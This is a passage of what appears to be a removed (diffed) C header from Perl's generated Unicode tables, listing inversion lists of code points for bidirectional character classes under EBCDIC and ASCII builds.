0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__L_invlist[] = { /* for EBCDIC 037 */ - 882, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x370, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x483, - 0x48A, - 0x58A, - 0x58B, - 0x58D, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xBF3, - 0xBFB, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC78, - 0xC7F, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3E, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DB, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200E, - 0x200F, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20F1, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x249C, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF9, - 0x2D00, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA66F, - 0xA680, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA828, - 0xA82C, - 0xA838, - 0xA83A, - 0xA874, - 0xA878, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1D, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0x10000, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102FC, - 0x10376, - 0x1037B, - 0x10800, - 0x11000, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x11052, - 0x11066, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x11660, - 0x1166D, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE1000, - 0xEFFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE, - 0x110000 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BC__LRE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x202A, - 0x202B -}; - -static const UV PL_BC__LRI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2066, - 0x2067 -}; - -static const UV PL_BC__LRO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x202D, - 0x202E -}; - -static const UV PL_BC__NSM_invlist[] = { /* for all charsets */ - 593, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0100, - 0xE01F0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__ON_invlist[] = { /* for ASCII/Latin1 */ - 355, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x23, - 0x26, - 0x2B, - 0x3B, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0x7F, - 0xA1, - 0xA2, - 0xA6, - 0xAA, - 0xAB, - 0xAD, - 0xAE, - 0xB0, - 0xB4, - 0xB5, - 0xB6, - 0xB9, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x300, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x58A, - 0x58B, - 0x58D, - 0x58F, - 0x606, - 0x608, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x7F6, - 0x7FA, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC78, - 0xC7F, - 0xF3A, - 0xF3E, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x169B, - 0x169D, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2010, - 0x2028, - 0x2035, - 0x2044, - 0x2045, - 0x205F, - 0x207C, - 0x207F, - 0x208C, - 0x208F, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2212, - 0x2214, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2488, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CF9, - 0x2D00, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 